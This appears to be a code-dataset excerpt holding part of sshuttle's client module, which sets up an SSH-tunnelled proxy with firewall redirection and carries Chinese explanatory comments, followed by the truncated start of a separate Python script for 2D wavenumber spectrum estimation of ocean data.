if os.fork():\n os._exit(0)\n\n outfd = os.open(_pidname, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o666)\n try:\n os.write(outfd, b'%d\\n' % os.getpid())\n finally:\n os.close(outfd)\n os.chdir(\"/\")\n\n # Normal exit when killed, or try/finally won't work and the pidfile won't\n # be deleted.\n signal.signal(signal.SIGTERM, got_signal)\n\n si = open(os.devnull, 'r+')\n os.dup2(si.fileno(), 0)\n os.dup2(si.fileno(), 1)\n si.close()\n\n\ndef daemon_cleanup():\n try:\n os.unlink(_pidname)\n except OSError as e:\n if e.errno == errno.ENOENT:\n pass\n else:\n raise\n\n\nclass MultiListener:\n\n def __init__(self, kind=socket.SOCK_STREAM, proto=0):\n self.type = kind\n self.proto = proto\n self.v6 = None\n self.v4 = None\n self.bind_called = False\n\n def setsockopt(self, level, optname, value):\n assert(self.bind_called)\n if self.v6:\n self.v6.setsockopt(level, optname, value)\n if self.v4:\n self.v4.setsockopt(level, optname, value)\n\n def add_handler(self, handlers, callback, method, mux):\n assert(self.bind_called)\n socks = []\n if self.v6:\n socks.append(self.v6)\n if self.v4:\n socks.append(self.v4)\n\n handlers.append(\n Handler(\n socks,\n lambda sock: callback(sock, method, mux, handlers)\n )\n )\n\n def listen(self, backlog):\n assert(self.bind_called)\n if self.v6:\n self.v6.listen(backlog)\n if self.v4:\n try:\n # Enable a server to accept connections. If backlog is specified, \n # it must be at least 0 (if it is lower, it is set to 0); \n # it specifies the number of unaccepted connections that the \n # system will allow before refusing new connections. If not \n # specified, a default reasonable value is chosen.\n\n # 最多接受同时backlog个数量的连接??\n self.v4.listen(backlog)\n except socket.error as e:\n # on some systems v4 bind will fail if the v6 suceeded,\n # in this case the v6 socket will receive v4 too.\n if e.errno == errno.EADDRINUSE and self.v6:\n self.v4 = None\n else:\n raise e\n\n def bind(self, address_v6, address_v4):\n assert(not self.bind_called)\n self.bind_called = True\n if address_v6 is not None:\n self.v6 = socket.socket(socket.AF_INET6, self.type, self.proto)\n self.v6.bind(address_v6)\n else:\n self.v6 = None\n if address_v4 is not None:\n # Bind the socket to address.\n self.v4 = socket.socket(socket.AF_INET, self.type, self.proto)\n self.v4.bind(address_v4)\n else:\n self.v4 = None\n\n def print_listening(self, what):\n assert(self.bind_called)\n if self.v6:\n listenip = self.v6.getsockname()\n debug1('%s listening on %r.\\n' % (what, listenip))\n debug2('%s listening with %r.\\n' % (what, self.v6))\n if self.v4:\n listenip = self.v4.getsockname()\n debug1('%s listening on %r.\\n' % (what, listenip))\n debug2('%s listening with %r.\\n' % (what, self.v4))\n\n\n# 处理防火墙相关,套接字沟通父子进程\nclass FirewallClient:\n\n def __init__(self, method_name, sudo_pythonpath):\n\n # Default to sudo unless on OpenBSD in which case use built in `doas`\n elevbin = 'sudo'\n if platform.platform().startswith('OpenBSD'):\n elevbin = 'doas'\n\n self.auto_nets = []\n\n # 获取当前运行脚本的绝对路径(去掉最后一个路径)\n python_path = os.path.dirname(os.path.dirname(__file__))\n argvbase = ([sys.executable, sys.argv[0]] +\n ['-v'] * (helpers.verbose or 0) +\n ['--method', method_name] +\n ['--firewall'])\n if ssyslog._p:\n argvbase += ['--syslog']\n # sudo并输入密码\n elev_prefix = [part % {'eb': elevbin}\n for part in ['%(eb)s', '-p',\n '[local %(eb)s] Password: ']]\n if sudo_pythonpath:\n elev_prefix += ['/usr/bin/env',\n 'PYTHONPATH=%s' % python_path]\n argv_tries = [elev_prefix + argvbase, argvbase]\n\n # we can't use stdin/stdout=subprocess.PIPE here, as we normally would,\n # because stupid Linux 'su' requires that stdin be attached to a tty.\n # Instead, attach a *bidirectional* socket to its stdout, and use\n # that for talking in both directions.\n # socketpair()创建一对连接socket,用于父子进程间的通信。\n # 返回的一对都是socket.socket对象\n (s1, s2) = socket.socketpair()\n\n def setup():\n # run in the child process\n s2.close()\n e = None\n if os.getuid() == 0:\n argv_tries = argv_tries[-1:] # last entry only\n for argv in argv_tries:\n #strs = ''\n #for s in argv:\n # strs+=' '+s+' '\n #print(strs)\n try:\n if argv[0] == 'su':\n sys.stderr.write('[local su] ')\n # 在一个新的进程中执行子程序,args \n # 应当是一个程序的参数列表或者一个简单的字符串。\n # 默认情况下,如果 args 是一个序列,将运行的程序是此序列的第一项。\n\n # 传入的列表是怎么被识别并执行的????\n # 返回一个子进程的类的对象\n\n # 正经的按照sshuttle的套路是这里打开防火墙,并设置防火墙转接流量到sshttle监听的端口\n # 下面是命令\n # sudo -p [local sudo] Password: /usr/bin/env PYTHONPATH=/home/bf/Documents/\n # Projects/open-source-code/sshuttle /home/bf/miniconda3/bin/python \n # /home/bf/Documents/Projects/open-source-code/sshuttle/sshuttle/__main__.py \n # -v --method auto --firewall\n # 一对套接字,套接字作为子进程的标准输出\n self.p = ssubprocess.Popen(argv, stdout=s1, preexec_fn=setup)\n # 上头这个命令是用带--firewall的命令行参数启动sshuttle程序,然后打开防火墙,如果失败,下面\n # 会获取机器上可用的网络工具命令,然后打开防火墙\n e = None\n break\n except OSError as e:\n pass\n self.argv = argv\n \n # s1一方主动关闭,进程之间通过握手关闭掉通讯(猜是这样)\n s1.close()\n\n # socket.makefile()\n # Return a file object associated with the socket\n if sys.version_info < (3, 0):\n # python 2.7\n self.pfile = s2.makefile('wb+')\n else:\n # python 3.5\n # 返回一个可读写的二进制文件描述符\n self.pfile = s2.makefile('rwb')\n if e:\n log('Spawning firewall manager: %r\\n' % self.argv)\n raise Fatal(e)\n line = self.pfile.readline()\n self.check()\n\n # 子进程如果成功fork,会在标准输出s1打印READY,然后经过s1\n # 和s2之间的管道,在s2打印READY,而line是父进程在s2读的\n if line[0:5] != b'READY':\n raise Fatal('%r expected READY, got %r' % (self.argv, line))\n method_name = line[6:-1]\n # 用户客户端上有哪个软件就用其对应的命令\n self.method = get_method(method_name.decode(\"ASCII\"))\n self.method.set_firewall(self)\n\n def setup(self, subnets_include, subnets_exclude, nslist,\n redirectport_v6, redirectport_v4, dnsport_v6, dnsport_v4, udp,\n user):\n self.subnets_include = subnets_include\n self.subnets_exclude = subnets_exclude\n self.nslist = nslist\n self.redirectport_v6 = redirectport_v6\n self.redirectport_v4 = redirectport_v4\n self.dnsport_v6 = dnsport_v6\n self.dnsport_v4 = dnsport_v4\n self.udp = udp\n self.user = user\n\n def check(self):\n rv = self.p.poll()\n if rv:\n raise Fatal('%r returned %d' % (self.argv, rv))\n\n def start(self):\n self.pfile.write(b'ROUTES\\n')\n for (family, ip, width, fport, lport) \\\n in self.subnets_include + self.auto_nets:\n self.pfile.write(b'%d,%d,0,%s,%d,%d\\n' % (family, width,\n ip.encode(\"ASCII\"),\n fport, lport))\n for (family, ip, width, fport, lport) in self.subnets_exclude:\n self.pfile.write(b'%d,%d,1,%s,%d,%d\\n' % (family, width,\n ip.encode(\"ASCII\"),\n fport, lport))\n\n self.pfile.write(b'NSLIST\\n')\n for (family, ip) in self.nslist:\n self.pfile.write(b'%d,%s\\n'\n % (family, ip.encode(\"ASCII\")))\n\n self.pfile.write(\n b'PORTS %d,%d,%d,%d\\n'\n % (self.redirectport_v6, self.redirectport_v4,\n self.dnsport_v6, self.dnsport_v4))\n\n udp = 0\n if self.udp:\n udp = 1\n if self.user is None:\n user = b'-'\n elif isinstance(self.user, str):\n user = bytes(self.user, 'utf-8')\n else:\n user = b'%d' % self.user\n\n self.pfile.write(b'GO %d %s\\n' % (udp, user))\n self.pfile.flush()\n\n line = self.pfile.readline()\n self.check()\n if line != b'STARTED\\n':\n raise Fatal('%r expected STARTED, got %r' % (self.argv, line))\n\n def sethostip(self, hostname, ip):\n assert(not re.search(b'[^-\\w\\.]', hostname))\n assert(not re.search(b'[^0-9.]', ip))\n self.pfile.write(b'HOST %s,%s\\n' % (hostname, ip))\n self.pfile.flush()\n\n def done(self):\n self.pfile.close()\n rv = self.p.wait()\n if rv:\n raise Fatal('cleanup: %r returned %d' % (self.argv, rv))\n\n\ndnsreqs = {}\nudp_by_src = {}\n\n\ndef expire_connections(now, mux):\n remove = []\n for chan, timeout in dnsreqs.items():\n if timeout < now:\n debug3('expiring dnsreqs channel=%d\\n' % chan)\n remove.append(chan)\n del mux.channels[chan]\n for chan in remove:\n del dnsreqs[chan]\n debug3('Remaining DNS requests: %d\\n' % len(dnsreqs))\n\n remove = []\n for peer, (chan, timeout) in udp_by_src.items():\n if timeout < now:\n debug3('expiring UDP channel channel=%d peer=%r\\n' % (chan, peer))\n mux.send(chan, ssnet.CMD_UDP_CLOSE, b'')\n remove.append(peer)\n del mux.channels[chan]\n for peer in remove:\n del udp_by_src[peer]\n debug3('Remaining UDP channels: %d\\n' % len(udp_by_src))\n\n\ndef onaccept_tcp(listener, method, mux, handlers):\n global _extra_fd\n try:\n sock, srcip = listener.accept()\n except socket.error as e:\n if e.args[0] in [errno.EMFILE, errno.ENFILE]:\n debug1('Rejected incoming connection: too many open files!\\n')\n # free up an fd so we can eat the connection\n os.close(_extra_fd)\n try:\n sock, srcip = listener.accept()\n sock.close()\n finally:\n _extra_fd = os.open(os.devnull, os.O_RDONLY)\n return\n else:\n raise\n\n dstip = method.get_tcp_dstip(sock)\n debug1('Accept TCP: %s:%r -> %s:%r.\\n' % (srcip[0], srcip[1],\n dstip[0], dstip[1]))\n if dstip[1] == sock.getsockname()[1] and islocal(dstip[0], sock.family):\n debug1(\"-- ignored: that's my address!\\n\")\n sock.close()\n return\n chan = mux.next_channel()\n if not chan:\n log('warning: too many open channels. Discarded connection.\\n')\n sock.close()\n return\n mux.send(chan, ssnet.CMD_TCP_CONNECT, b'%d,%s,%d' %\n (sock.family, dstip[0].encode(\"ASCII\"), dstip[1]))\n outwrap = MuxWrapper(mux, chan)\n handlers.append(Proxy(SockWrapper(sock, sock), outwrap))\n expire_connections(time.time(), mux)\n\n\ndef udp_done(chan, data, method, sock, dstip):\n (src, srcport, data) = data.split(b\",\", 2)\n srcip = (src, int(srcport))\n debug3('doing send from %r to %r\\n' % (srcip, dstip,))\n method.send_udp(sock, srcip, dstip, data)\n\n\ndef onaccept_udp(listener, method, mux, handlers):\n now = time.time()\n t = method.recv_udp(listener, 4096)\n if t is None:\n return\n srcip, dstip, data = t\n debug1('Accept UDP: %r -> %r.\\n' % (srcip, dstip,))\n if srcip in udp_by_src:\n chan, _ = udp_by_src[srcip]\n else:\n chan = mux.next_channel()\n mux.channels[chan] = lambda cmd, data: udp_done(\n chan, data, method, listener, dstip=srcip)\n mux.send(chan, ssnet.CMD_UDP_OPEN, b\"%d\" % listener.family)\n udp_by_src[srcip] = chan, now + 30\n\n hdr = b\"%s,%d,\" % (dstip[0].encode(\"ASCII\"), dstip[1])\n mux.send(chan, ssnet.CMD_UDP_DATA, hdr + data)\n\n expire_connections(now, mux)\n\n\ndef dns_done(chan, data, method, sock, srcip, dstip, mux):\n debug3('dns_done: channel=%d src=%r dst=%r\\n' % (chan, srcip, dstip))\n del mux.channels[chan]\n del dnsreqs[chan]\n method.send_udp(sock, srcip, dstip, data)\n\n\ndef ondns(listener, method, mux, handlers):\n now = time.time()\n t = method.recv_udp(listener, 4096)\n if t is None:\n return\n srcip, dstip, data = t\n debug1('DNS request from %r to %r: %d bytes\\n' % (srcip, dstip, len(data)))\n chan = mux.next_channel()\n dnsreqs[chan] = now + 30\n mux.send(chan, ssnet.CMD_DNS_REQ, data)\n mux.channels[chan] = lambda cmd, data: dns_done(\n chan, data, method, listener, srcip=dstip, dstip=srcip, mux=mux)\n expire_connections(now, mux)\n\n# 打包文件到服务器,启动客户端监听\ndef _main(tcp_listener, udp_listener, fw, ssh_cmd, remotename,\n python, latency_control,\n dns_listener, seed_hosts, auto_hosts, auto_nets, daemon,\n to_nameserver):\n\n debug1('Starting client with Python version %s\\n'\n % platform.python_version())\n\n method = fw.method\n\n handlers = []\n if helpers.verbose >= 1:\n helpers.logprefix = 'c : '\n else:\n helpers.logprefix = 'client: '\n debug1('connecting to server...\\n')\n\n try:\n # 打包必要的文件到服务器\n # 返回一个ssh连接的子进程,一个套接字\n # 套接字是用来传递东西给服务端的\n (serverproc, serversock) = ssh.connect(\n ssh_cmd, remotename, python,\n stderr=ssyslog._p and ssyslog._p.stdin,\n options=dict(latency_control=latency_control,\n auto_hosts=auto_hosts,\n to_nameserver=to_nameserver,\n auto_nets=auto_nets))\n except socket.error as e:\n if e.args[0] == errno.EPIPE:\n raise Fatal(\"failed to establish ssh session (1)\")\n else:\n raise\n\n mux = Mux(serversock, serversock)\n\n # handlers里是由ssh连接进程的套接字初始化的mux对象\n handlers.append(mux)\n\n expected = b'SSHUTTLE0001'\n\n # 和server端确认眼神\n try:\n v = 'x'\n while v and v != b'\\0':\n v = serversock.recv(1)\n v = 'x'\n while v and v != b'\\0':\n v = serversock.recv(1)\n initstring = serversock.recv(len(expected))\n except socket.error as e:\n if e.args[0] == errno.ECONNRESET:\n raise Fatal(\"failed to establish ssh session (2)\")\n else:\n raise\n\n # Check if child process has terminated. \n # 这里就是ssh连接的进程\n rv = serverproc.poll()\n if rv:\n raise Fatal('server died with error code %d' % rv)\n\n if initstring != expected:\n raise Fatal('expected server init string %r; got %r'\n % (expected, initstring))\n log('Connected.\\n')\n sys.stdout.flush()\n if daemon:\n daemonize()\n log('daemonizing (%s).\\n' % _pidname)\n\n def onroutes(routestr):\n if auto_nets:\n for line in routestr.strip().split(b'\\n'):\n if not line:\n continue\n (family, ip, width) = line.split(b',', 2)\n family = int(family)\n width = int(width)\n ip = ip.decode(\"ASCII\")\n if family == socket.AF_INET6 and tcp_listener.v6 is None:\n debug2(\"Ignored auto net %d/%s/%d\\n\" % (family, ip, width))\n if family == socket.AF_INET and tcp_listener.v4 is None:\n debug2(\"Ignored auto net %d/%s/%d\\n\" % (family, ip, width))\n else:\n debug2(\"Adding auto net %d/%s/%d\\n\" % (family, ip, width))\n fw.auto_nets.append((family, ip, width, 0, 0))\n\n # we definitely want to do this *after* starting ssh, or we might end\n # up intercepting the ssh connection!\n #\n # Moreover, now that we have the --auto-nets option, we have to wait\n # for the server to send us that message anyway. Even if we haven't\n # set --auto-nets, we might as well wait for the message first, then\n # ignore its contents.\n mux.got_routes = None\n fw.start()\n mux.got_routes = onroutes\n\n def onhostlist(hostlist):\n debug2('got host list: %r\\n' % hostlist)\n for line in hostlist.strip().split():\n if line:\n name, ip = line.split(b',', 1)\n fw.sethostip(name, ip)\n mux.got_host_list = onhostlist\n\n # 看起来是把文件打包过去后,在这里开始监听\n # 这里不仅添加,且增加了callback\n tcp_listener.add_handler(handlers, onaccept_tcp, method, mux)\n\n if udp_listener:\n udp_listener.add_handler(handlers, onaccept_udp, method, mux)\n\n if dns_listener:\n dns_listener.add_handler(handlers, ondns, method, mux)\n\n if seed_hosts is not None:\n debug1('seed_hosts: %r\\n' % seed_hosts)\n mux.send(0, ssnet.CMD_HOST_REQ, str.encode('\\n'.join(seed_hosts)))\n \n # 这里在fork一个ssh子进程之后,如何进行tcp打包和转发的???\n while 1:\n rv = serverproc.poll()\n if rv:\n raise Fatal('server died with error code %d' % rv)\n\n # handlers中是连接ssh子进程的套接字\n # 这里的handlers是handlers类的子类的对象,比如\n # Mux的对象,于是执行子类的callback\n ssnet.runonce(handlers, mux)\n if latency_control:\n mux.check_fullness()\n\n\ndef main(listenip_v6, listenip_v4,\n ssh_cmd, remotename, python, latency_control, dns, nslist,\n method_name, seed_hosts, auto_hosts, auto_nets,\n subnets_include, subnets_exclude, daemon, to_nameserver, pidfile,\n user, sudo_pythonpath):\n\n # 一个bool值\n if daemon:\n try:\n # when using --daemon, \n # save sshuttle’s pid to pidfilename. \n # The default is sshuttle.pid in the current directory.\n check_daemon(pidfile)\n except Fatal as e:\n log(\"%s\\n\" % e)\n return 5\n debug1('Starting sshuttle proxy.\\n')\n\n # sshuttle转接流量用的防火墙方法,sudo时的pythonpath\n # 初始化的时候就会要求输入密码\n fw = FirewallClient(method_name, sudo_pythonpath)\n\n # Get family specific subnet lists\n if dns:\n nslist += resolvconf_nameservers()\n if to_nameserver is not None:\n to_nameserver = \"%s@%s\" % tuple(to_nameserver[1:])\n else:\n # option doesn't make sense if we aren't proxying dns\n to_nameserver = None\n\n subnets = subnets_include + subnets_exclude # we don't care here\n subnets_v6 = [i for i in subnets if i[0] == socket.AF_INET6]\n nslist_v6 = [i for i in nslist if i[0] == socket.AF_INET6]\n subnets_v4 = [i for i in subnets if i[0] == socket.AF_INET]\n nslist_v4 = [i for i in nslist if i[0] == socket.AF_INET]\n\n # Check features available\n avail = fw.method.get_supported_features()\n required = Features()\n\n if listenip_v6 == \"auto\":\n if avail.ipv6:\n listenip_v6 = ('::1', 0)\n else:\n listenip_v6 = None\n\n if user is not None:\n if getpwnam is None:\n raise Fatal(\"Routing by user not available on this system.\")\n try:\n user = getpwnam(user).pw_uid\n except KeyError:\n raise Fatal(\"User %s does not exist.\" % user)\n\n if fw.method.name != 'nat':\n required.ipv6 = len(subnets_v6) > 0 or listenip_v6 is not None\n required.ipv4 = len(subnets_v4) > 0 or listenip_v4 is not None\n else:\n required.ipv6 = None\n required.ipv4 = None\n\n required.udp = avail.udp\n required.dns = len(nslist) > 0\n required.user = False if user is None else True\n\n # if IPv6 not supported, ignore IPv6 DNS servers\n if not required.ipv6:\n nslist_v6 = []\n nslist = nslist_v4\n\n fw.method.assert_features(required)\n\n if required.ipv6 and listenip_v6 is None:\n raise Fatal(\"IPv6 required but not listening.\")\n\n # display features enabled\n debug1(\"IPv6 enabled: %r\\n\" % required.ipv6)\n debug1(\"UDP enabled: %r\\n\" % required.udp)\n debug1(\"DNS enabled: %r\\n\" % required.dns)\n debug1(\"User enabled: %r\\n\" % required.user)\n\n # bind to required ports\n if listenip_v4 == \"auto\":\n listenip_v4 = ('127.0.0.1', 0)\n\n if required.ipv4 and \\\n not any(listenip_v4[0] == sex[1] for sex in subnets_v4):\n subnets_exclude.append((socket.AF_INET, listenip_v4[0], 32, 0, 0))\n\n if required.ipv6 and \\\n not any(listenip_v6[0] == sex[1] for sex in subnets_v6):\n subnets_exclude.append((socket.AF_INET6, listenip_v6[0], 128, 0, 0))\n\n if listenip_v6 and listenip_v6[1] and listenip_v4 and listenip_v4[1]:\n # if both ports given, no need to search for a spare port\n ports = [0, ]\n else:\n # if at least one port missing, we have to search\n ports = range(12300, 9000, -1)\n # keep track of failed bindings and used ports to avoid trying to\n # bind to the same socket address twice in different listeners\n used_ports = []\n\n # search for free ports and try to bind\n last_e = None\n redirectport_v6 = 0\n redirectport_v4 = 0\n bound = False\n debug2('Binding redirector:')\n\n for port in ports:\n debug2(' %d' % port)\n\n # listener对象,但这里没做什么\n tcp_listener = MultiListener()\n\n if required.udp:\n udp_listener = MultiListener(socket.SOCK_DGRAM)\n else:\n udp_listener = None\n\n if listenip_v6 and listenip_v6[1]:\n lv6 = listenip_v6\n redirectport_v6 = lv6[1]\n elif listenip_v6:\n lv6 = (listenip_v6[0], port)\n redirectport_v6 = port\n else:\n lv6 = None\n redirectport_v6 = 0\n\n if listenip_v4 and listenip_v4[1]:\n lv4 = listenip_v4\n redirectport_v4 = lv4[1]\n elif listenip_v4:\n lv4 = (listenip_v4[0], port)\n redirectport_v4 = port\n else:\n lv4 = None\n redirectport_v4 = 0\n\n try:\n # 套接字一绑定到具体地址上\n tcp_listener.bind(lv6, lv4)\n if udp_listener:\n udp_listener.bind(lv6, lv4)\n bound = True\n used_ports.append(port)\n break\n except socket.error as e:\n if e.errno == errno.EADDRINUSE:\n last_e = e\n used_ports.append(port)\n else:\n raise e\n\n debug2('\\n')\n if not bound:\n assert(last_e)\n raise last_e\n \n # Enable a server to accept connections. If backlog is specified, it must be at least 0 (if \n # it is lower, it is set to 0); it specifies the number of unaccepted connections that the \n # system will allow before refusing new connections. If not specified, a default reasonable \n # value is chosen.\n tcp_listener.listen(10)\n tcp_listener.print_listening(\"TCP redirector\")\n if udp_listener:\n udp_listener.print_listening(\"UDP redirector\")\n\n bound = False\n # 没有dns就直接跨过这个分支\n if required.dns:\n # search for spare port for DNS\n debug2('Binding DNS:')\n ports = range(12300, 9000, -1)\n for port in ports:\n debug2(' %d' % port)\n if port in used_ports:\n continue\n\n dns_listener = MultiListener(socket.SOCK_DGRAM)\n\n if listenip_v6:\n lv6 = (listenip_v6[0], port)\n dnsport_v6 = port\n else:\n lv6 = None\n dnsport_v6 = 0\n\n if listenip_v4:\n lv4 = (listenip_v4[0], port)\n dnsport_v4 = port\n else:\n lv4 = None\n dnsport_v4 = 0\n\n try:\n dns_listener.bind(lv6, lv4)\n bound = True\n used_ports.append(port)\n break\n except socket.error as e:\n if e.errno == errno.EADDRINUSE:\n last_e = e\n used_ports.append(port)\n else:\n raise e\n debug2('\\n')\n dns_listener.print_listening(\"DNS\")\n if not bound:\n assert(last_e)\n raise last_e\n else:\n dnsport_v6 = 0\n dnsport_v4 = 0\n dns_listener = None\n\n # Last minute sanity checks.\n # These should never fail.\n # If these do fail, something is broken above.\n if subnets_v6:\n assert required.ipv6\n if redirectport_v6 == 0:\n raise Fatal(\"IPv6 subnets defined but not listening\")\n\n if nslist_v6:\n assert required.dns\n assert required.ipv6\n if dnsport_v6 == 0:\n raise Fatal(\"IPv6 ns servers defined but not listening\")\n\n if subnets_v4:\n if redirectport_v4 == 0:\n raise Fatal(\"IPv4 subnets defined but not listening\")\n\n if nslist_v4:\n if dnsport_v4 == 0:\n raise Fatal(\"IPv4 ns servers defined but not listening\")\n\n # setup method specific stuff on listeners\n fw.method.setup_tcp_listener(tcp_listener)\n if udp_listener:\n fw.method.setup_udp_listener(udp_listener)\n if dns_listener:\n fw.method.setup_udp_listener(dns_listener)\n\n # start the firewall\n # 给防火墙对象fw的属性赋值\n fw.setup(subnets_include, subnets_exclude, nslist,\n redirectport_v6, redirectport_v4, dnsport_v6, dnsport_v4,\n required.udp, user)\n\n # start the client process\n try:\n return _main(tcp_listener, udp_listener, fw, ssh_cmd, remotename,\n python, latency_control, dns_listener,\n seed_hosts, auto_hosts, auto_nets, daemon, to_nameserver)\n finally:\n try:\n if daemon:\n # it's not our child anymore; can't waitpid\n fw.p.returncode = 0\n fw.done()\n finally:\n if daemon:\n daemon_cleanup()\n","sub_path":"sshuttle/sshuttle/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":29771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"103790224","text":"\n############################################################################\n# This scripts estimate wavenumber spectrum of two dimensional oceanic dataset such as SSH, vorticity. Prior to\n# spectrum estimate, the dataset is interpolated and any NaN value is replaced with interpolated value. A\n# tapering is applied to the dataset, afterwhich, the dataset is detrend in both direction. The 2D spectral\n# obtained after FFT is radially averaged to a 1D spectral.\n#\n# Author : Adekunle Ajayi and Julien Lesommer\n# Affilation : Institut des Geosciences de l'Environnement (IGE),\n# Universite Grenoble Alpes, France.\n# Email : adekunle.ajayi@univ-grenoble-alpes.fr, julien.lesommer@univ-grenoble-alpes.fr,\n############################################################################\n## load modules\nimport numpy as np\nimport pandas as pd\nimport numpy.fft as fft\nimport numpy.ma as ma\nimport numpy.linalg as li\nimport scipy.signal as signal\nfrom scipy.interpolate import interp1d\n\ndef e1e2(navlon,navlat):\n \"\"\"Compute scale factors from navlon,navlat.\n \"\"\"\n earthrad = 6371229 # mean earth radius (m)\n deg2rad = np.pi / 180.\n lam = navlon\n phi = navlat\n djlam,dilam = np.gradient(lam)\n djphi,diphi = np.gradient(phi)\n e1 = earthrad * deg2rad * np.sqrt( (dilam * np.cos(deg2rad*phi))**2. + diphi**2.)\n e2 = earthrad * deg2rad * np.sqrt( (djlam * np.cos(deg2rad*phi))**2. + djphi**2.)\n return e1,e2\n#########################\n\ndef interpolate(data,navlon,navlat,interp=None):\n \"\"\"\n Perform a spatial interpolation if required; return x_reg,y_reg,data_reg.\n data : raw data\n nalon : longitude\n navlat : latitude\n interp : if None return data with cordinates in meters, if 'basemap', return interpolated\n data using basemap from mpl_toolkits and also cordinates in meters.\n \"\"\"\n e1,e2 = e1e2(navlon,navlat)\n x1d_in = e1[0,:].cumsum() - e1[0,0]\n y1d_in = e2[:,0].cumsum() - e2[0,0]\n x2d_in,y2d_in = np.meshgrid(x1d_in,y1d_in)\n # print x1d_in\n if interp is None :\n return x2d_in, y2d_in, data\n elif interp=='basemap': # only for rectangular grid...\n from mpl_toolkits import basemap\n x1d_reg=np.linspace(x1d_in[0],x1d_in[-1],len(x1d_in))\n y1d_reg=np.linspace(y1d_in[0],y1d_in[-1],len(y1d_in))\n x2d_reg,y2d_reg = np.meshgrid(x1d_reg,y1d_reg)\n data_reg=basemap.interp(data,x1d_in,y1d_in,x2d_reg,y2d_reg,checkbounds=False,order=1)\n return x2d_reg,y2d_reg,data_reg\n else: raise ValueError('Your choice of interp is not available in this sript.')\n#########################\n\ndef detrend_by_fiting2dplane(x, y, data):\n import numpy.linalg as li\n mask = ma.getmask(data)\n ind = ma.where(mask == 0)\n B = data[ind]\n X = x[ind]\n Y = y[ind]\n n = np.size(B)\n A = np.vstack([X, Y, np.ones(n)]).T\n # Solve the least square system\n fit = li.lstsq(A, B)\n a, b, c = fit[0]\n data_dtr = data - (a * x + b * y + c)\n return data_dtr\n#########################\n\ndef isdata_contain_nan(data):\n '''\n This function check if a data contains any NaN value\n If yes, it replaces the NaN values with an interpolated value using the fill_nan function.\n '''\n i_mask = data.mask\n arr = np.array(data)\n arr[i_mask] = np.nan\n df = pd.DataFrame(arr)\n if df.isnull().values.any() == True:\n data_new = fill_nan(arr)\n return data_new\n else :\n return data\n#########################\n\ndef fill_nan(data):\n ''' replaces a NaN value in a dataset with an interpolated one'''\n # - Reshape to 1D array\n i,j = data.shape\n _1D_arr = data.reshape(i*j,1)\n _1D_arr = _1D_arr.squeeze()\n # - get nan\n nt_nan = np.logical_not(np.isnan(_1D_arr))\n # - get array length\n indice = np.arange(len(_1D_arr))\n # - interpolate for nan value only\n interp = interp1d(indice[nt_nan], _1D_arr[nt_nan],kind ='linear',fill_value=\"extrapolate\")\n # - replace nan values\n arr = interp(indice)\n # - reshape back to 2D array\n data_nonan = arr.reshape(i,j)\n return data_nonan\n#########################\n\ndef tukey(Ni,Nj):\n ''' Using tukey window : tapered cosine window. /alpha = 0.5'''\n wdwi = signal.tukey(Ni,0.5,sym=False)\n wdwj = signal.tukey(Nj,0.5,sym=False)\n wdw = wdwi[np.newaxis,...]*wdwj[...,np.newaxis]\n return wdw\n#########################\n\ndef hanning(Ni,Nj):\n ''' Using Hanning window'''\n wdwi = signal.hanning(Ni,sym=False)\n wdwj = signal.hanning(Nj,sym=False)\n wdw = wdwi[np.newaxis,...]*wdwj[...,np.newaxis]\n return wdw\n#########################\n\ndef wavenumber_vector(Ni,Nj,dx,dy):\n \n kx = np.fft.fftfreq(Ni,dx) # two sided\n ky = np.fft.fftfreq(Nj,dy)\n Kmax = np.sqrt((kx.max())**2 + (ky.max())**2)/np.sqrt(2)\n \n k, l = np.meshgrid(kx,ky)\n wavnum2D = np.sqrt(k**2 + l**2)\n\n # radial wavenumber\n ddk = 1.0/(dx*Ni)\n ddl = 1.0/(dy*Nj)\n \n dK = min(ddk,ddl)\n wavnum1D = dK*np.arange(1,int(Kmax/dK))\n return wavnum1D,wavnum2D\n#########################\n\ndef get_spec_2D(data_reg,dx,dy,Ni,Nj):\n ''' Compute the 2D spectrum of the data '''\n spec_fft = np.fft.fft2(data_reg)\n spec_2D = (spec_fft*spec_fft.conj()).real*(dx*dy)/(Ni*Nj)\n return spec_2D\n#########################\n\ndef get_spec_1D(kradial,wavnum,spec_2D):\n ''' Compute the azimuthaly avearge of the 2D spectrum '''\n spec_1D = np.zeros(len(wavnum))\n for i in range(wavnum.size):\n kfilt = (kradial>=wavnum[i] - wavnum[0]) & (kradial<=wavnum[i])\n N = kfilt.sum()\n spec_1D[i] = (spec_2D[kfilt].sum())*wavnum[i]/N\n return spec_1D\n#########################\n\ndef detrend_data(x,y,data,detrend):\n if detrend is None :\n data = data\n return data\n elif detrend == 'Both':\n # - detrend data in both direction\n data = signal.detrend(data,axis=0,type='linear')\n data = signal.detrend(data,axis=1,type='linear')\n return data\n elif detrend == 'FitPlane':\n data = detrend_by_fiting2dplane(x, y, data)\n return data\n elif detrend == 'Zonal':\n # - detrend data in the zonal direction\n data = signal.detrend(data,axis=1,type='linear')\n return data\n elif detrend == 'RemoveMean':\n # - remove mean from the data\n data = data - data.mean()\n return data\n elif detrend == 'RmeanDtrend':\n # - remove mean and detrend data in both direction\n data = data - data.mean()\n data = signal.detrend(data,axis=0,type='linear')\n data = signal.detrend(data,axis=1,type='linear')\n return data\n else: raise ValueError('Your choice of detrend is not available in this sript.')\n#########################\n\ndef apply_windowing(Ni,Nj,data,window):\n if window is None:\n data = data\n return data\n elif window == 'Hanning':\n wdw = hanning(Ni,Nj)\n data*=wdw\n return data\n elif window == 'Tukey':\n wdw = tukey(Ni,Nj)\n data*=wdw\n return data\n else: raise ValueError('Your choice of windowing is not available in this sript.')\n#########################\n\ndef get_spectrum(data,x,y,window='Tukey',detrend='Both'):\n \"\"\"\n data_reg : Interpolated data.\n x_reg and y_reg : interpolate coordinates in meters.\n window : None , 'Hanning' or 'Tukey' (tappered consine window with /apha = 0.5).\n detrend :\n if \"both\" : detrend the 2D data along both axes.\n if \"zonal\" : detrend the data in the zonal direction only\n if \"RemoveMean\" : Remove only the mean of the data\n if 'RmeanDtrend' : Remove the mean then detrend the data in both direction\n if None : use the raw data\n \"\"\"\n # Get data shape\n Nj,Ni = data.shape\n \n # Detrend\n detrended_data = detrend_data(x,y,data,detrend)\n \n # Obtain dx and dy\n x1,y1 = x[0,:],y[:,0]\n dx=np.int(np.ceil(x1[1]-x1[0]))\n dy=np.int(np.ceil(y1[1]-y1[0]))\n \n # 